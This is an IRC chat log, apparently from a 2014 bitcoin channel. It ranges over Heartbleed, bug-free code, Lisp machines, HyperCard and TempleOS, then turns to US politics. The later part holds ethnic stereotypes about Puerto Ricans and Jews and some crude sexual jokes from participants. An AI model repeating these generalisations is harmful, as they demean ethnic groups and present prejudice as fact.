asciilifeform: even if there is no immediately visible 'smoking gun'
kakobrekla: alright ill take a look
asciilifeform: if you create a 'heartbleed' - you are a вредитель. and whether you did it intentionally, given the impossibility of proof - does not matter.
asciilifeform: 'If you're a defendant, you don't get to claim your fingerprints miraculously appeared at a crime scene... If you're a bookkeeper, you don't get to say money miraculously disappeared from your company...'
decimation: http://log.bitcoin-assets.com/?date=27-08-2014#811885
assbot: Logged on 27-08-2014 04:09:34; asciilifeform: if you (org.) want to keep secrets, the menu is roughly: a) employ incorruptible fanatics b) keep all henchmen incommunicado, in 'шарашка' prisons c) there is no 'c.' tertium non datur.
decimation: I think usg inspires a fair amount of zealotry actually
asciilifeform: decimation: mp added a c) if i recall: 'kill and bury the pyramid builders, blind the architect'
decimation: see the bitcoin/socom meeting in the link above http://log.bitcoin-assets.com/?date=26-09-2014#846156
assbot: Logged on 26-09-2014 18:41:05; mats_cd03: http://www.cnbc.com/id/102033875 >> USSOCOM plugs bitcoin foundation...
decimation: what I find inexplicable is that you find folks in the us who absolutely hate everything about usg policies, in terms of how it mismanages wealth, fails to jail criminals, etc, and yet are willing to serve the military side
kakobrekla: asciilifeform do you claim you can write bugless code (maybe even given the right platform to do it on)
asciilifeform: kakobrekla: yes.
kakobrekla: pft!
asciilifeform: kakobrekla: what, you can't?
decimation: usg is the unintentional beneficiary of a great deal of "I want to make a difference" altruism
asciilifeform: kakobrekla: try, for instance, a bugless 'hello world'
asciilifeform: it isn't too much sweat.
kakobrekla: that one i could manage.
kakobrekla: maybe
decimation: it helps a great deal if the programming language you use guarantees proper memory allocation, bounds checking, etc.
asciilifeform: laugh, laugh. but most of what you expect from your computer is not -mathematically- more complicated than 'hello world.'
asciilifeform: mainly - moving bits from one place to another.
decimation: I became depressed by dijkstra when he demonstrated how impossible it would be to fully check a simple multiplier circuit
asciilifeform: decimation: the cure for this depression is to understand that a machine can be built to be -understood-.
asciilifeform: rather than mathematicized-about.
assbot: Last 3 lines bashed and pending review. ( http://dpaste.com/04MWR5J.txt )
kakobrekla: !b 3
kakobrekla: i know what you are saying dec.
asciilifeform: imagine if the stone age had extended far beyond where it did, and man built gigantic stone swords.
asciilifeform: that needed a squadron of a dozen or more wielders, to swing it at all
asciilifeform: and they would work in synchrony, but of course imperfectly - and occasionally at cross purposes
asciilifeform: or squadron could contain enemy wrecker, imperceptibly and unprovably spoiling a swing
asciilifeform: even the best swings would be from among a very small set of simple strokes.
asciilifeform: then - somebody comes up with metallurgy, creates sword that one man can comfortably swing.
asciilifeform: entire universe of a difference.
asciilifeform: ^ that is the kind of thing i mean by -understandable-.
decimation: the single wielder can certainly explore a larger set of swing-space
asciilifeform: when we are talking about a sword that a man can swing - or a computer system that 'fits' inside a single brain comfortably - this is a fundamental difference.
asciilifeform: like the difference between a shirt that fits and one which does not
decimation: the man 'understands' swinging in a subjective way?
asciilifeform: subjective only in the sense that people vary in size
asciilifeform: and if you really wish to know which 'swordsman' is more comfortable with his tool - let god of war decide.
decimation: well, one could argue that's why the lisp machine died out, right?
asciilifeform: could.
asciilifeform: swordsman can trip on banana peel
asciilifeform: then squadron with stone megacock can feel victorious, vindicated.
kakobrekla: :D
decimation: yeah the lisp machine was carried by only a precious handful of people, who were the enemies of ibm and everyone else who wanted to muscle into the space
asciilifeform: decimation: it is important to understand that lm was a specialist instrument - like the most elaborate electron microscope.
asciilifeform: it made no attempt to compete with, e.g., ibm anything
asciilifeform: existed in entirely separate universe
asciilifeform: just as 'bentley' does not compete with 'toyota'
decimation: ibm/wintel happened to pave over their niche though
decimation: plus symbolics decided to waste their money on california real estate or some such craziness
asciilifeform: toyota may in some sense with it could 'pave over' bentley, but reality does not care about this
asciilifeform: it is hilarious to read about all of the various nicks, bruises, paper cuts found on the corpse of symbolics corp.
asciilifeform: while ignoring the bullet hole in its head
decimation: what is the 'bullet hole'?
asciilifeform: (withdrawal of the infinite usg money it relied on - directly, and indirectly - through the major clients being usg ops)
asciilifeform: 'artist picked the wrong medici'
decimation: yeah makes sense. intel, being of silicon valley, was always a little more insulated from usg
decimation: its clients all were all arms of usg, but it wasn't directly supported by usg
asciilifeform: intel did not instrinsically - by its very nature - rely on rich prince
asciilifeform: symbolics - did
asciilifeform: because it was not selling a plebe product.
asciilifeform: go and try market a scanning electron microscope for consumer market.
decimation: rich princes being famous for their fickle tastes
BingoBoingo: Related http://deadspin.com/diamondbacks-fire-grit-lord-kirk-gibson-1639670513
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asciilifeform: the other interesting observation is that lm in 1980s was expensive for far different reason than it would be today
asciilifeform: and it would be far more expensive today!
asciilifeform: then - the sheer quantity of logic necessary.
asciilifeform: why it would be quite expensive today - i'll leave as an exercise for anyone still awake.
BingoBoingo: why it would be quite expensive today - i'll leave as an exercise for anyone still awake. << People who could make it, exceedingly expensive today if hired for the task of making it.
asciilifeform: nope.
asciilifeform could easily make, and would work for room & board
decimation: logic is much cheaper
BingoBoingo: asciilifeform could easily make, and would work for room & board << Because you love the idea of it
decimation: one would become an enemy of the wintel bezzle lords
asciilifeform: the reason is entirely mundane
decimation: although that has not stopped arm
asciilifeform: if you had a truly clean break with the age of turdware -
asciilifeform: there would be a market for about six machines.
asciilifeform: divide the r&d and production cost by that figure. that's how much each unit would have to cost to... break even.
decimation: ah, you would have to rewrite bezzle wintel software stack
asciilifeform: forget even this
asciilifeform: you'd have to come up with your own... dram
decimation: heh yeah
asciilifeform: bus topology
asciilifeform: etc
decimation: I would throw ddr in the trash
asciilifeform: i've argued in the past that you have to ditch... binary. if you want to be rid of the 'floating point' abomination.
asciilifeform: likewise, for dataflow cpu fabric (the only truly reasonable way to build a computer) - existing logic synthesis methods are unsuitable.
decimation: oh yeah, so I was thinking about why people use floating point to answer mp's question
BingoBoingo: So... the ferguson thing looks like it might turn into open war...
asciilifeform: even the gate libraries used by extant semiconductor fab houses would have to be thrown.
decimation: it is because of the dynamic range allowed in a single blob
Duffer1: BingoBoingo, i haven't been following it, riots yet?
BingoBoingo: Duffer1: They never really stopped
BingoBoingo: http://www.mediaite.com/online/ferguson-police-chief-sparks-riots-after-trying-to-join-protesters-calling-for-his-resignation/
assbot: Ferguson Police Chief Sparks Riots After Trying to Join Protesters Calling for His Resignation | Mediaite
Duffer1: ah
BingoBoingo: Fat chief joined a crowd calling for his resignation. What result can be expected.
BingoBoingo: Not really a question.
Duffer1: seen this one yet Bingo? (turn it down) http://www.nbcnews.com/news/us-news/ex-south-carolina-state-trooper-charged-over-traffic-stop-shooting-n211156
assbot: Ex-South Carolina State Trooper Charged Over Traffic Stop Shooting - NBC News
BingoBoingo: Saw that one.
decimation: asciilifeform: most fpgas are not very suitable either
asciilifeform: decimation: this is discussed on my site.
decimation: yeah the old xilinx part
BingoBoingo: Duffer1: Notice how quickly that "officer" was indicted for something?
Duffer1: good things there was video of it
BingoBoingo: "Officer" in quotes because in the Western tradition the roles of "officer" and enlisted are different.
asciilifeform: BingoBoingo: https://www.youtube.com/watch?v=N1HEqagVO9g << possibly interesting to you
assbot: Poma Ads: Hypercard Commercial Report (1987) - YouTube
BingoBoingo: Following the Anglos on anything has never been a good move though. Ever since the vowel shift turned the Britons into Barbarians at least.
Duffer1: oh damn i'm sure those "i am darren wilson" bracelets didn't help the situation much lol
Duffer1: good lord
BingoBoingo: I fully endorse hypercard
asciilifeform: BingoBoingo: virtually none of my readers showed any signs of liking it for the same reason i did.
asciilifeform: generally, they like it 'because pretty ux buttons'
BingoBoingo: Duffer1: You have to understand Middle Western understated racism is a more dangerous creature than Angola prison for a reason.
BingoBoingo: asciilifeform: I tended to like it because in Highschool I had Hypercard, a giant TI-89, ot Compaq dos
BingoBoingo: *or
asciilifeform: or that. nostalgia.
decimation: I used hp-48gx in high school
asciilifeform: (i haven't any for it. i actually associate the environment it ran on with school, which was a misery)
decimation: I remember trying hypercard in school, but I was introduced too late - didn't understand why it was more compelling than hypertext
asciilifeform: decimation: the reason - understandability.
asciilifeform: the totality thereof.
BingoBoingo also used hypercard astonishingly to keep my dick wet, organizing girls into nights of the week.
decimation: yeah hypercard enabled 'regular humans' to actually 'program'
decimation: the closest thing in modern mac os is the 'automater' tool, but it's not maintained
asciilifeform: again, unrelated.
asciilifeform: the abominable 'english-like' scripting language lured various people who thought they could never stomach programming into trying
BingoBoingo: decimation: The beauty was you could program without the quotes, until the PPC port
asciilifeform: but this is neither here nor there.
asciilifeform: that aspect - never appealed to me
asciilifeform: never needed this sugar
asciilifeform: to understand what is 'understandability' - look at its opposite.
asciilifeform: sussman, surrendering to decay:
asciilifeform: 'You have to do basic science on your libraries to see how they work, trying out different inputs and seeing how the code reacts.'
decimation: something like how xml is written in plain text but ususually completely opaque
asciilifeform: (discussed here, for example - https://news.ycombinator.com/item?id=603856 )
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BingoBoingo: decimation: Only when MIcrosoft, Red Hat, or Oracle touches it.
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decimation: yeah I remember that sussman quote, it is depressing
BingoBoingo: reeses: https://xkcd.com/298/ << Actually dreamed a lucrative tablet game last night. Background is a topless redhead. Foreground is "Space Invaders" goal is to keep falling apples from covering the nipples.
assbot: xkcd: Tesla Coil
BingoBoingo has kind of come to appreciate the crazy of TempleOS
decimation: that guy is seriously crazy
BingoBoingo: of course he is, but who said that is necessarily wrong?
asciilifeform: decimation: 'crazy' is the reason he actually got to work!
asciilifeform: by his own admission - he was rescued from labouring as a programmer by 'disability' pension from usg.
BingoBoingo: TempleOS is basically x86-64 playgroung
asciilifeform: which required a certification of insanity
asciilifeform: in his case
BingoBoingo wishes he could have such a grand form of crazy.
asciilifeform: so we do not actually know how much he is truly batshit, and how much - is just playing the necessary role.
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asciilifeform: i have often direly envied the man his schizophrenia - or acting skills, as the case may be.
BingoBoingo: asciilifeform: The differentiation is indeed difficult. I dunno that his flavor exists in the new DSM V
BingoBoingo: DSM IV-TR has some contending designations.
asciilifeform: and then there is the undocumented talmud used by usg bureaucrats to determine who qualifies for lifetime pensions.
BingoBoingo: IS that match/mismatch an indicator of acting or otherwise?
decimation: apparently sabu of anonymous was living in a usg welfare apartment
asciilifeform: as did limonov.
BingoBoingo: Don't forget Thermos and Nefario...
decimation: sabu was a puerto rican - an island that raises living off usg largess to an art form
asciilifeform: a professional scammer not scamming usg also, would be like a pro mechanic who won't fix own car
decimation: http://cnsnews.com/news/article/13-population-puerto-rico-gets-food-stamps-2-billion-2012
assbot: 1/3 Population of Puerto Rico Gets Food Stamps--$2 Billion in 2012 | CNS News
asciilifeform: decimation: approximately - food stamps are given to groups, rather than people. not formally, of course - but in practice.
asciilifeform: if you are not part of one of these groups - you will not be in the running for any handouts in usa.
asciilifeform: limonov - was in such a group.
asciilifeform: one such
asciilifeform: puerto rico is one such group today
decimation: limonov was crazy?
BingoBoingo: Thor: http://valleywag.gawker.com/uber-driver-charged-for-bashing-a-passenger-in-the-head-1639711808/+leahfinnegan
assbot: Uber Driver Charged for Bashing a Passenger In the Head With a Hammer
asciilifeform: no. he was a russian/jewish emigre in '70s
decimation: ah, so 'favored ally' of the fdr socialists running things in that era
BingoBoingo: decimation> ah, so 'favored ally' of the fdr socialists running things in that era << Not so limited. To Understand the West you have to understand their hard ons, Jews and Isis.
decimation: I don't get the jews. why do they care about jews? They are just a small subset of europeans among the unwashed masses of europeans
danielpbarron slaps decimation around a bit with a large Bible
decimation: danielpbarron: don't tell me you are dispensationalist?
BingoBoingo: decimation: Jews because they are the non-ISIS middle east hedgemon, gotta catch them ALL, HEDGEMON!!!
danielpbarron: i'm not sure what that means, decimation
BingoBoingo: decimation: danielpbarron Is a Christan warrior of an Olde school
decimation: among other things, a sect of Christianity that is premillennial, some of whom believe that the jews must be gathered in the middle east to start the end of the world and Jesus's return
asciilifeform: decimation: 'favored ally' of the fdr socialists << nope. of the anti-soviet u.s. 'backbone'
BingoBoingo: decimation: danielpbarron's Xtianity may be older, pre-vowel shift
asciilifeform: decimation: engineered 'brain drain' was a weapon in use at the time
danielpbarron: God causes all things; there is no "need to."
asciilifeform: decimation: folks from soviet blok were lured with imaginary 'nice' jobs, the proverbial fifty types of sausage, posh cars, etc.
BingoBoingo: <asciilifeform> decimation: 'favored ally' of the fdr socialists << nope. of the anti-soviet u.s. 'backbone' << Patton's "Murica
decimation: asciilifeform: 'anti-soviet' and 'anti-communist' but not 'anti-leftist'
asciilifeform: reality - drive cab, or collect 'welfare'
dub: 50 types of forcemeat the soviet dream
BingoBoingo: dub> 50 types of forcemeat the soviet dream << There is good forcemeat
decimation: I look forward to the next regime change in the us so that the 'anti-communists' can be named
asciilifeform: what you call 'forcemeat' we called 'doctor's sausage' for some reason.
decimation: I quite enjoy a good mortadella
BingoBoingo: I mean the french can do it well, just when we have aspiring diesel that would suppose "Freedom Fries"
danielpbarron: forcemeet sounds like a jedi dating site
asciilifeform: (for the ethnowank aficionados, it is generally thought that limonov was a 'paper' jew - i.e. signed on as one to get visa to usa)
asciilifeform: herr l. is near the top of my list of rich'n'famous folks i'd personally enjoy seeing in here.
asciilifeform: we could start with his idea of 'young and old men ought to live in separate countries.'
asciilifeform: or let him explain how to recreate the lifestyle of a mongol hordesman in modern times
asciilifeform: (he appears to know how)
BingoBoingo: <asciilifeform> (for the ethnowank aficionados, it is generally thought that limonov was a 'paper' jew - i.e. signed on as one to get visa to usa) << In the middle West you get plastic jews, people who undergoe trans ethnicism for lawyer jobs
BingoBoingo: The tend to be ostracized by actual people of Yweh's nose, but no local WASPs care
asciilifeform: lol, lawyers have ethnic mafia there ?
asciilifeform: or is it that other folks won't go to a 'goy' lawyer ?
BingoBoingo: asciilifeform: More people want a Goy lawyer, but don't want an actual Goy. The actual goys tend to retreat to either left coast after law school.
BingoBoingo: And in Law school the Goy's can't call out aspiring goy's because PC

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